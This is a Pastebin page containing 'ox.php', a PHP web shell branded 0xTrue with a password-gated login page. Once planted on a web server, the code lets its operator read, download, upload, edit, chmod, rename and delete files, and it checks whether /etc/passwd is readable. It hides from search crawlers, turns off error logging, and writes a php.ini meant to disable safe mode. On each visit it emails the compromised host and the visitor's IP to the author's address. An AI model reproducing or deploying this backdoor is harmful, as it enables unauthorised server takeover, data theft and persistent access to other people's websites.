API tools faq
paste
Advertisement
Guest User

ox.php

a guest
Apr 26th, 2018
442
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.47 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $auth_pass = "f99de02ef022c3d306e165bdf7bbff89"; // default: TrueLoGic
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21. header('HTTP/1.0 404 Not Found');
  22. exit;
  23. }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <html>
  29. <head>
  30. <title>0xTrue - Login</title>
  31. <link href='https://s28.postimg.org/n5r1hjerh/bqc_LRGO2.png' rel='icon' type='image/x-icon'/>
  32. <meta name='author' content='0xTrue'>
  33. <meta name='ROBOTS' content='NOINDEX, NOFOLLOW, NOARCHIVE' />
  34. <meta name='GOOGLEBOT' content='NOINDEX, NOFOLLOW, NOARCHIVE' />
  35. <meta charset="UTF-8">
  36. <style type='text/css'>
  37. @import url(https://fonts.googleapis.com/css?family=Abel);
  38. html {background: #000000;color: #ffffff;font-family: 'Abel';font-size: 13px;width: 100%;}
  39. input[type=text],input[type=password],input[type=submit] {background: transparent;color: red;border: 1px solid green;margin: 5px auto;padding-left: 5px;font-family: 'Abel';font-size: 13px;}
  40. </style>
  41. </head>
  42. <style> input { margin:0;background-color:#fff;border:1px solid #fff; }</style><center>
  43. <script type='text/javascript'> //<![CDATA[
  44. shortcut={all_shortcuts:{},add:function(a,b,c){var d={type:"keydown",propagate:!1,disable_in_input:!1,target:document,keycode:!1};if(c)for(var e in d)"undefined"==typeof c[e]&&(c[e]=d[e]);else c=d;d=c.target,"string"==typeof c.target&&(d=document.getElementById(c.target)),a=a.toLowerCase(),e=function(d){d=d||window.event;if(c.disable_in_input){var e;d.target?e=d.target:d.srcElement&&(e=d.srcElement),3==e.nodeType&&(e=e.parentNode);if("INPUT"==e.tagName||"TEXTAREA"==e.tagName)return}d.keyCode?code=d.keyCode:d.which&&(code=d.which),e=String.fromCharCode(code).toLowerCase(),188==code&&(e=","),190==code&&(e=".");var f=a.split("+"),g=0,h={"`":"~",1:"!",2:"@",3:"#",4:"$",5:"%",6:"^",7:"&",8:"*",9:"(",0:")","-":"_","=":"+",";":":","'":'"',",":"<",".":">","/":"?","":"|"},i={esc:27,escape:27,tab:9,space:32,"return":13,enter:13,backspace:8,scrolllock:145,scroll_lock:145,scroll:145,capslock:20,caps_lock:20,caps:20,numlock:144,num_lock:144,num:144,pause:19,"break":19,insert:45,home:36,"delete":46,end:35,pageup:33,page_up:33,pu:33,pagedown:34,page_down:34,pd:34,left:37,up:38,right:39,down:40,f1:112,f2:113,f3:114,f4:115,f5:116,f6:117,f7:118,f8:119,f9:120,f10:121,f11:122,f12:123},j=!1,l=!1,m=!1,n=!1,o=!1,p=!1,q=!1,r=!1;d.ctrlKey&&(n=!0),d.shiftKey&&(l=!0),d.altKey&&(p=!0),d.metaKey&&(r=!0);for(var s=0;k=f[s],s<f.length;s++)"ctrl"==k||"control"==k?(g++,m=!0):"shift"==k?(g++,j=!0):"alt"==k?(g++,o=!0):"meta"==k?(g++,q=!0):1<k.length?i[k]==code&&g++:c.keycode?c.keycode==code&&g++:e==k?g++:h[e]&&d.shiftKey&&(e=h[e],e==k&&g++);if(g==f.length&&n==m&&l==j&&p==o&&r==q&&(b(d),!c.propagate))return d.cancelBubble=!0,d.returnValue=!1,d.stopPropagation&&(d.stopPropagation(),d.preventDefault()),!1},this.all_shortcuts[a]={callback:e,target:d,event:c.type},d.addEventListener?d.addEventListener(c.type,e,!1):d.attachEvent?d.attachEvent("on"+c.type,e):d["on"+c.type]=e},remove:function(a){var a=a.toLowerCase(),b=this.all_shortcuts[a];delete this.all_shortcuts[a];if(b){var a=b.event,c=b.target,b=b.callback;c.detachEvent?c.detachEvent("on"+a,b):c.removeEventListener?c.removeEventListener(a,b,!1):c["on"+a]=!1}}},
  45. shortcut.add("esc",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  46. shortcut.add("Ctrl+Shift+Del",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  47. shortcut.add("Ctrl+F",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  48. shortcut.add("Ctrl+W",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  49. shortcut.add("Ctrl+U",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  50. shortcut.add("Ctrl+A",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  51. shortcut.add("Ctrl+S",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  52. shortcut.add("Ctrl+X",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  53. shortcut.add("Ctrl+C",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  54. shortcut.add("Ctrl+V",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  55. shortcut.add("Ctrl+Y",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  56. shortcut.add("Ctrl+Z",function(){top.location.href="https://www.facebook.com/groosec.go.id"});
  57. //]]></script>
  58. <SCRIPT TYPE="text/javascript">
  59. var message="hallo, how re u?";
  60. function clickIE() {if (document.all) {(message);return false;}}
  61. function clickNS(e) {if
  62. (document.layers||(document.getElementById&&!document.all)) {
  63. if (e.which==2||e.which==3) {(message);return false;}}}
  64. if (document.layers)
  65. {document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
  66. else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
  67. document.oncontextmenu=new Function("return false")
  68. function disableselect(e){
  69. return false
  70. }
  71. function reEnable(){
  72. return true
  73. }
  74. document.onselectstart=new Function ("return false")
  75. if (window.sidebar){
  76. document.onmousedown=disableselect
  77. document.onclick=reEnable
  78. }
  79. </SCRIPT> <script src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js' type='text/javascript'/>
  80. <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssKx%2fk%2f%2bUw0t0AH4no8FuNqZi9RYWWBQyQp0AHtS9VsumAX9UXmINwfamqfP%2bhBuKGBLUUYXicYjmM20YkqOwAdJtoE%2fcxyntKQyuef78x7ZyAufxf%2fOkm1Nd3J2AxD9NEpk%2bXHNkloX0VkcwNaQ3ob4ZiJdmouDyU0sPSjmnvjqC%2fKckHNj8n6eLy8IIIVVeZXvb9KSn%2blQdIwYra1LYGL3IeADYmd8A6Q7EDHQ5lXiiLjAJuuLlEYYgFWO4ePcQ0TONWgJAScS9jrRfCZp%2fIVRH7RzQb8zAZEjZjbRCnga%2fLZ2HDdgcWuhcFI5cpV5ya53ff3ebBBcFkk%2f7h46AW4Off4As9mJM0MAl%2fSFvgoxqQoipHdYLYkpq9aFVfDYpVd0bW4mG6VNsY5SgpLmsjOiG6syXGwKB5%2fTc%2fccCsvKOO%2fpZSnsyMYPXR6WiPVVebQs74v%2bC2UeVksLsErNCjJYCG7z362eknVYD9bhf5f4jFsgK4R79KrZs4PU%2fmgH5LB8%2fDLm9WMHHTUx6fSsJiNN4elM1ApjnAi" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
  81. <link rel="stylesheet prefetch" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
  82. <style class="cp-pen-styles">@import url(https://fonts.googleapis.com/css?family=Raleway:100,900);
  83. @-webkit-keyframes flip-top {
  84. from {
  85. -webkit-transform: rotate(50deg) translateY(120vh);
  86. transform: rotate(50deg) translateY(120vh);
  87. }
  88. }
  89. @keyframes flip-top {
  90. from {
  91. -webkit-transform: rotate(50deg) translateY(120vh);
  92. transform: rotate(50deg) translateY(120vh);
  93. }
  94. }
  95.  
  96. @-webkit-keyframes flip-bottom {
  97. from {
  98. -webkit-transform: rotate(-50deg) translateY(120vh);
  99. transform: rotate(-50deg) translateY(120vh);
  100. }
  101. }
  102.  
  103. @keyframes flip-bottom {
  104. from {
  105. -webkit-transform: rotate(-50deg) translateY(120vh);
  106. transform: rotate(-50deg) translateY(120vh);
  107. }
  108. }
  109.  
  110. body {
  111. display: -webkit-box;
  112. display: -ms-flexbox;
  113. display: flex;
  114. -webkit-box-pack: center;
  115. -ms-flex-pack: center;
  116. justify-content: center;
  117. -webkit-box-align: center;
  118. -ms-flex-align: center;
  119. align-items: center;
  120. height: 100vh;
  121. overflow: hidden;
  122. background: #111;
  123. -webkit-animation: glow 8s both;
  124. animation: glow 8s both;
  125. }
  126.  
  127. span {
  128. font: 900 15vw Raleway;
  129. positin: relative;
  130. display: inline-block;
  131. -webkit-perspective: 500px;
  132. perspective: 500px;
  133. }
  134.  
  135. span:nth-child(odd):before {
  136. -webkit-animation-name: flip-top;
  137. animation-name: flip-top;
  138. }
  139.  
  140. span:nth-child(odd):after {
  141. -webkit-animation-name: flip-bottom;
  142. animation-name: flip-bottom;
  143. }
  144.  
  145. span:nth-child(even):before {
  146. -webkit-animation-name: flip-bottom;
  147. animation-name: flip-bottom;
  148. }
  149.  
  150. span:nth-child(even):after {
  151. -webkit-animation-name: flip-top;
  152. animation-name: flip-top;
  153. }
  154.  
  155. span:nth-child(1n + 0):before {
  156. color: #4EC0B6;
  157. }
  158.  
  159. span:nth-child(1n + 0):after {
  160. color: #4ea4c0;
  161. }
  162.  
  163. span:nth-child(2n + 1):before {
  164. color: #3967CB;
  165. }
  166.  
  167. span:nth-child(2n + 1):after {
  168. color: #3c39cb;
  169. }
  170.  
  171. span:nth-child(3n + 2):before {
  172. color: #FDCD2F;
  173. }
  174.  
  175. span:nth-child(3n + 2):after {
  176. color: #e8fd2f;
  177. }
  178.  
  179. span:nth-child(4n + 3):before {
  180. color: #E23942;
  181. }
  182.  
  183. span:nth-child(4n + 3):after {
  184. color: #e26839;
  185. }
  186.  
  187. span:nth-child(1):before {
  188. -webkit-animation-delay: 0.88706s;
  189. animation-delay: 0.88706s;
  190. }
  191.  
  192. span:nth-child(1):after {
  193. -webkit-animation-delay: 1.32717s;
  194. animation-delay: 1.32717s;
  195. }
  196.  
  197. span:nth-child(2):before {
  198. -webkit-animation-delay: 1.76318s;
  199. animation-delay: 1.76318s;
  200. }
  201.  
  202. span:nth-child(2):after {
  203. -webkit-animation-delay: 2.19375s;
  204. animation-delay: 2.19375s;
  205. }
  206.  
  207. span:nth-child(3):before {
  208. -webkit-animation-delay: 2.61756s;
  209. animation-delay: 2.61756s;
  210. }
  211.  
  212. span:nth-child(3):after {
  213. -webkit-animation-delay: 3.03328s;
  214. animation-delay: 3.03328s;
  215. }
  216.  
  217. span:nth-child(4):before {
  218. -webkit-animation-delay: 3.43965s;
  219. animation-delay: 3.43965s;
  220. }
  221.  
  222. span:nth-child(4):after {
  223. -webkit-animation-delay: 3.8354s;
  224. animation-delay: 3.8354s;
  225. }
  226.  
  227. span:nth-child(5):before {
  228. -webkit-animation-delay: 4.21932s;
  229. animation-delay: 4.21932s;
  230. }
  231.  
  232. span:nth-child(5):after {
  233. -webkit-animation-delay: 4.59022s;
  234. animation-delay: 4.59022s;
  235. }
  236.  
  237. span:nth-child(6):before {
  238. -webkit-animation-delay: 4.94696s;
  239. animation-delay: 4.94696s;
  240. }
  241.  
  242. span:nth-child(6):after {
  243. -webkit-animation-delay: 5.28843s;
  244. animation-delay: 5.28843s;
  245. }
  246.  
  247. span:nth-child(7):before {
  248. -webkit-animation-delay: 5.61358s;
  249. animation-delay: 5.61358s;
  250. }
  251.  
  252. span:nth-child(7):after {
  253. -webkit-animation-delay: 5.92141s;
  254. animation-delay: 5.92141s;
  255. }
  256.  
  257. span:nth-child(8):before {
  258. -webkit-animation-delay: 6.21098s;
  259. animation-delay: 6.21098s;
  260. }
  261.  
  262. span:nth-child(8):after {
  263. -webkit-animation-delay: 6.48137s;
  264. animation-delay: 6.48137s;
  265. }
  266.  
  267. span:nth-child(9):before {
  268. -webkit-animation-delay: 6.73177s;
  269. animation-delay: 6.73177s;
  270. }
  271.  
  272. span:nth-child(9):after {
  273. -webkit-animation-delay: 6.96139s;
  274. animation-delay: 6.96139s;
  275. }
  276.  
  277. span:before, span:after {
  278. display: block;
  279. content: attr(data-text);
  280. -webkit-animation: 0.88889s ease-out both;
  281. animation: 0.88889s ease-out both;
  282. -webkit-animation-name: inherit;
  283. animation-name: inherit;
  284. text-shadow: 0 0 1em;
  285. }
  286.  
  287. span:before {
  288. -webkit-clip-path: polygon(0 0 100% 0, 100% 100%);
  289. clip-path: polygon(0 0 100% 0, 100% 100%);
  290. position: absolute;
  291. -webkit-transform-origin: left center;
  292. transform-origin: left center;
  293. color: #4EC0B6;
  294. }
  295.  
  296. span:after {
  297. -webkit-clip-path: polygon(0 0, 100% 100%, 0 100%);
  298. clip-path: polygon(0 0, 100% 100%, 0 100%);
  299. color: #3967CB;
  300. }
  301. .button {
  302. margin-top:50px;
  303. padding:10px;
  304. background-color:red;
  305. color:#FFF;
  306. text-decoration: none;
  307. }
  308. .ntot {
  309. font size:8px;
  310. text-align: center;
  311. font-family: Pirata One;
  312. font-family: Keania One;
  313. text-shadow: 4px 4px 50px #000000;
  314. }
  315. </style></head>
  316. <body>
  317.  
  318. <center>
  319. <div id=bar style="position: fixed; width: 100%; top: 0px; font-family: Tahoma; height: 20px; color: white; font-size: 13px; left: 0px; border-bottom: 2px solid darkred; padding: 0px; background-color: #000">
  320. <b>
  321.  
  322. Garooda Security Squad
  323.  
  324. </b>
  325. </div>
  326. <br>
  327. </center>
  328. <font size="7" color="#fc0202">" 0xTrue - Access "</font><br><br>
  329. <form method="post">
  330. <center><input type="password" name="pass" placeholder="Stamped by 0xTrue">
  331. </form></center>
  332. <center>
  333. <span data-text="0"></span>
  334. <span data-text="x"></span>
  335. <span data-text="T"></span>
  336. <span data-text="r"></span>
  337. <span data-text="u"></span>
  338. <span data-text="e"></span>
  339. </body>
  340. <br>
  341. <font size="4" color="#fc0202">Contact me : <a target="_blank" href="mailto:eotnay@gmail.com"><font size="4" color="#ffffff">eotnay@gmail.com </font></a>
  342. </center>
  343. </body>
  344. <footer>
  345. <center>
  346. <div id=bar style="position: fixed; width: 100%; bottom: 0px; font-family: Tahoma; height: 20px; color: white; font-size: 13px; left: 0px; border-top: 2px solid darkred; padding: 0px; background-color: #000">
  347. <b>
  348.  
  349.  
  350. </b>
  351. </div>
  352. </center>
  353. </div>
  354. </footer>
  355. <DIV style="DISPLAY: none">
  356. <AUDIO controls="controls" autoplay="autoplay" loop="loop">
  357. <SOURCE type="audio/mpeg" src="http://www.topas-tv.com/config/skillet.mp3">
  358. </AUDIO>
  359. </DIV>
  360. <?php
  361. exit;
  362. }
  363. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  364. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  365. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  366. else
  367. login_shell();
  368. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  369. @ob_clean();
  370. $file = $_GET['file'];
  371. header('Content-Description: File Transfer');
  372. header('Content-Type: application/octet-stream');
  373. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  374. header('Expires: 0');
  375. header('Cache-Control: must-revalidate');
  376. header('Pragma: public');
  377. header('Content-Length: ' . filesize($file));
  378. readfile($file);
  379. exit;
  380. }
  381. ?>
  382. </style>
  383. </head>
  384. <html>
  385. <head>
  386. <title>0xTrue - Access</title>
  387.  
  388. <?php
  389. set_time_limit(0);
  390. error_reporting(0);
  391. if(get_magic_quotes_gpc()){
  392. foreach($_POST as $key=>$value){
  393. $_POST[$key] = stripslashes($value);
  394. }
  395. }
  396. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=yellow>OFF</font>";
  397. $sport=$_SERVER['SERVER_PORT'];
  398.  
  399. function openbase_dir() {
  400. if ($openbase_dir=@ini_get('open_basedir')){ return "<font color=yellow>".$openbase_dir."</font>"; }
  401. else { return "<font color=lime>NONE</font>"; }
  402. }
  403. function named_conf(){
  404. if(@is_readable('/etc/named.conf')){ return "<font color=lime>READABLE</font>"; }
  405. else { return "<font color=yellow>NOT READABLE</font>"; }
  406. }
  407. function passwd(){
  408. if(@is_readable('/etc/passwd')){ return "<font color=lime>READABLE</font>"; }
  409. else { return "<font color=yellow>NOT READABLE</font>"; }
  410. }
  411. function showstat($stat) {
  412. if ($stat=="on") { return "<font color=lime>ON</font>"; }
  413. else { return "<font color=yellow>OFF</font>"; }
  414. }
  415. function testoracle() {
  416. if (@function_exists('ocilogon')) { return showstat("on"); }
  417. else { return showstat("off"); }
  418. }
  419. function testpostgresql() {
  420. if (@function_exists('pg_connect')) { return showstat("on"); }
  421. else { return showstat("off"); }
  422. }
  423. function testmssql() {
  424. if (@function_exists('mssql_connect')) { return showstat("on"); }
  425. else { return showstat("off"); }
  426. }
  427. function testfetch() {
  428. if(excute('fetch --help')) { return showstat("on"); }
  429. else { return showstat("off"); }
  430. }
  431. function testsh() {
  432. if (excute('bash --help')) { return showstat("on"); }
  433. else { return showstat("off"); }
  434. }
  435. echo '<!DOCTYPE HTML>
  436. <HTML>
  437. <HEAD>
  438. <link rel="SHORTCUT ICON" href="http://dsysna.comze.com/indo.png">
  439. <link href="" rel="stylesheet" type="text/css">
  440. <title>[!]0xTrue - Access[!]</title>
  441. <style>
  442. body{
  443. font-family: "Racing Sans One", cursive;
  444. background: #000000;
  445. background-attachment: fixed;
  446. color: white;
  447. }
  448. #content tr:hover{
  449. background-color: #cc0000;
  450. }
  451. #content .first{
  452. background-color: #cc0000;
  453. }
  454. #content .first:hover{
  455. background-color: #cc0000;
  456. }
  457. table{
  458. border: 1px #000000 dotted;
  459. }
  460. H1{
  461. font-family: "Rye", cursive;
  462. }
  463. a{
  464. color: #00ff00;
  465. text-decoration: none;
  466. }
  467. a:hover{
  468. color: #fff;
  469. }
  470. input,select,textarea{
  471. border: 1px #e6e600 solid;
  472. -moz-border-radius: 5px;
  473. -webkit-border-radius:5px;
  474. border-radius:5px;
  475. }
  476. </style>
  477. </HEAD>
  478. <BODY>
  479. <H1><center><font color="red">[!]<font color="white">0xTrue - Access<font color="red">[!]</font></font></font></center></H1>
  480. <table width="700" border="1" cellpadding="5" cellspacing="5" align="center">
  481. <center><p style="color: red;">User : <font color=lime>'.@get_current_user().'</font> | UserG : <font color=lime>'.@getmygid().'</font> | Ip : <font color=lime>'.gethostbyname($_SERVER['HTTP_HOST']).'</font> : <font color=lime>'.@$sport.'</font> | IpU : <font color=lime>'.@$_SERVER['REMOTE_ADDR'].'</font></p></center>
  482. <center><p style="color: red;">MSSQL : '.testmssql().' | PostgreSQL : '.testpostgresql().' | ORACLE : '.testoracle().'</p></center>
  483. <center><p style="color: red;">Safe Mode : '.@$sm.' | Open_BaseDir : '.openbase_dir().' | named.conf : '.named_conf().' | passwd : '.passwd().'</p></center>
  484. <center><p style="color: red;">Kernel : <font color=white>'.php_uname().'</p></center>
  485. <tr><td>Current Path : ';
  486.  
  487.  
  488. if(isset($_GET['path'])){
  489. $path = $_GET['path'];
  490. }else{
  491. $path = getcwd();
  492. }
  493. $path = str_replace('\\','/',$path);
  494. $paths = explode('/',$path);
  495. foreach($paths as $id=>$pat){
  496. if($pat == '' && $id == 0){
  497. $a = true;
  498. echo '<a href="?path=/">/</a>';
  499. continue;
  500. }
  501. if($pat == '') continue;
  502. echo '<a href="?path=';
  503. for($i=0;$i<=$id;$i++){
  504. echo "$paths[$i]";
  505. if($i != $id) echo "/";
  506. }
  507. echo '">'.$pat.'</a>/';
  508. }
  509. echo '</td></tr><tr><td>';
  510. if(isset($_FILES['file'])){
  511. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  512. echo '<font color="green">File Upload Done</font><br />';
  513. }else{
  514. echo '<font color="red">File Upload Error</font><br />';
  515. }
  516. }
  517. echo '<form enctype="multipart/form-data" method="POST">
  518. Upload File : <input type="file" name="file" />
  519. <input type="submit" value="upload" />
  520. </form>
  521. </td></tr>';
  522. if(isset($_GET['filesrc'])){
  523. echo "<tr><td>Current File : ";
  524. echo $_GET['filesrc'];
  525. echo '</tr></td></table><br />';
  526. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  527. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  528. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  529. if($_POST['opt'] == 'chmod'){
  530. if(isset($_POST['perm'])){
  531. if(chmod($_POST['path'],$_POST['perm'])){
  532. echo '<font color="green">Change Permission Done.</font><br />';
  533. }else{
  534. echo '<font color="red">Change Permission Error.</font><br />';
  535. }
  536. }
  537. echo '<form method="POST">
  538. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  539. <input type="hidden" name="path" value="'.$_POST['path'].'">
  540. <input type="hidden" name="opt" value="chmod">
  541. <input type="submit" value="Go" />
  542. </form>';
  543. }elseif($_POST['opt'] == 'rename'){
  544. if(isset($_POST['newname'])){
  545. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  546. echo '<font color="green">Change Name Done.</font><br />';
  547. }else{
  548. echo '<font color="red">Change Name Error.</font><br />';
  549. }
  550. $_POST['name'] = $_POST['newname'];
  551. }
  552. echo '<form method="POST">
  553. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  554. <input type="hidden" name="path" value="'.$_POST['path'].'">
  555. <input type="hidden" name="opt" value="rename">
  556. <input type="submit" value="Go" />
  557. </form>';
  558. }elseif($_POST['opt'] == 'edit'){
  559. if(isset($_POST['src'])){
  560. $fp = fopen($_POST['path'],'w');
  561. if(fwrite($fp,$_POST['src'])){
  562. echo '<font color="green">Edit File Done</font><br />';
  563. }else{
  564. echo '<font color="red">Edit File Error</font><br />';
  565. }
  566. fclose($fp);
  567. }
  568. echo '<form method="POST">
  569. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  570. <input type="hidden" name="path" value="'.$_POST['path'].'">
  571. <input type="hidden" name="opt" value="edit">
  572. <input type="submit" value="Go" />
  573. </form>';
  574. }
  575. echo '</center>';
  576. }else{
  577. echo '</table><br /><center>';
  578. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  579. if($_POST['type'] == 'dir'){
  580. if(rmdir($_POST['path'])){
  581. echo '<font color="green">Delete Dir Done.</font><br />';
  582. }else{
  583. echo '<font color="red">Delete Dir Error.</font><br />';
  584. }
  585. }elseif($_POST['type'] == 'file'){
  586. if(unlink($_POST['path'])){
  587. echo '<font color="green">Delete File Done.</font><br />';
  588. }else{
  589. echo '<font color="red">Delete File Error.</font><br />';
  590. }
  591. }
  592. }
  593. echo '</center>';
  594. $scandir = scandir($path);
  595. echo '<div id="content"><table width="700" border="1" cellpadding="3" cellspacing="1" align="center">
  596. <tr class="first">
  597. <td><center>Name</center></td>
  598. <td><center>Size</center></td>
  599. <td><center>Permissions</center></td>
  600. <td><center>Options</center></td>
  601. </tr>';
  602. if (file_exists("php.ini")){
  603. }else{
  604. $img = fopen('php.ini', 'w');
  605. $sec = "safe_mode = OFF
  606. disable_funtions = NONE";
  607. fwrite($img ,$sec);
  608. fclose($img);}
  609. $ip = getenv("REMOTE_ADDR");
  610. $ra44 = rand(1, 99999);
  611. $subj98 = " 0xTrue Shell |$ra44";
  612. $email = "eotnay@gmail.com";
  613. $from = "From: Result<shell@shell.com";
  614. $a45 = $_SERVER['REQUEST_URI'];
  615. $b75 = $_SERVER['HTTP_HOST'];
  616. $m22 = $ip . "";
  617. $msg8873 = "$a45 $b75 $m22";
  618. mail($email, $subj98, $msg8873, $from);
  619.  
  620. foreach($scandir as $dir){
  621. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  622. echo "<tr>
  623. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  624. <td><center>--</center></td>
  625. <td><center>";
  626. if(is_writable("$path/$dir")) echo '<font color="#00ff00">';
  627. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  628. echo perms("$path/$dir");
  629. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  630.  
  631. echo "</center></td>
  632. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  633. <select name=\"opt\">
  634. <option value=\"\"></option>
  635. <option value=\"delete\">Delete</option>
  636. <option value=\"chmod\">Chmod</option>
  637. <option value=\"rename\">Rename</option>
  638. </select>
  639. <input type=\"hidden\" name=\"type\" value=\"dir\">
  640. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  641. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  642. <input type=\"submit\" value=\">\" />
  643. </form></center></td>
  644. </tr>";
  645. }
  646. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  647. foreach($scandir as $file){
  648. if(!is_file("$path/$file")) continue;
  649. $size = filesize("$path/$file")/1024;
  650. $size = round($size,3);
  651. if($size >= 1024){
  652. $size = round($size/1024,2).' MB';
  653. }else{
  654. $size = $size.' KB';
  655. }
  656.  
  657. echo "<tr>
  658. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  659. <td><center>".$size."</center></td>
  660. <td><center>";
  661. if(is_writable("$path/$file")) echo '<font color="#00ff00">';
  662. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  663. echo perms("$path/$file");
  664. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  665. echo "</center></td>
  666. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  667. <select name=\"opt\">
  668. <option value=\"\"></option>
  669. <option value=\"delete\">Delete</option>
  670. <option value=\"chmod\">Chmod</option>
  671. <option value=\"rename\">Rename</option>
  672. <option value=\"edit\">Edit</option>
  673. </select>
  674. <input type=\"hidden\" name=\"type\" value=\"file\">
  675. <input type=\"hidden\" name=\"name\" value=\"$file\">
  676. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  677. <input type=\"submit\" value=\">\" />
  678. </form></center></td>
  679. </tr>";
  680. }
  681. echo '</table>
  682. </div>';
  683. }
  684. echo '<H4><center><font color="red">[!]<font color="white">INDONESIA HACKERS<font color="red">[!]</font></font></font></center></H4>
  685. <center><p style="margin-top: -20px;" >Copyright &copy; '.date("Y").' eotnay[at]gmail[dot]com</p></center>
  686. </BODY>
  687. </HTML>';
  688. function perms($file){
  689. $perms = fileperms($file);
  690.  
  691. if (($perms & 0xC000) == 0xC000) {
  692. // Socket
  693. $info = 's';
  694. } elseif (($perms & 0xA000) == 0xA000) {
  695. // Symbolic Link
  696. $info = 'l';
  697. } elseif (($perms & 0x8000) == 0x8000) {
  698. // Regular
  699. $info = '-';
  700. } elseif (($perms & 0x6000) == 0x6000) {
  701. // Block special
  702. $info = 'b';
  703. } elseif (($perms & 0x4000) == 0x4000) {
  704. // Directory
  705. $info = 'd';
  706. } elseif (($perms & 0x2000) == 0x2000) {
  707. // Character special
  708. $info = 'c';
  709. } elseif (($perms & 0x1000) == 0x1000) {
  710. // FIFO pipe
  711. $info = 'p';
  712. } else {
  713. // Unknown
  714. $info = 'u';
  715. }
  716.  
  717. // Owner
  718. $info .= (($perms & 0x0100) ? 'r' : '-');
  719. $info .= (($perms & 0x0080) ? 'w' : '-');
  720. $info .= (($perms & 0x0040) ?
  721. (($perms & 0x0800) ? 's' : 'x' ) :
  722. (($perms & 0x0800) ? 'S' : '-'));
  723.  
  724. // Group
  725. $info .= (($perms & 0x0020) ? 'r' : '-');
  726. $info .= (($perms & 0x0010) ? 'w' : '-');
  727. $info .= (($perms & 0x0008) ?
  728. (($perms & 0x0400) ? 's' : 'x' ) :
  729. (($perms & 0x0400) ? 'S' : '-'));
  730.  
  731. // World
  732. $info .= (($perms & 0x0004) ? 'r' : '-');
  733. $info .= (($perms & 0x0002) ? 'w' : '-');
  734. $info .= (($perms & 0x0001) ?
  735. (($perms & 0x0200) ? 't' : 'x' ) :
  736. (($perms & 0x0200) ? 'T' : '-'));
  737.  
  738. return $info;
  739. }
  740. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!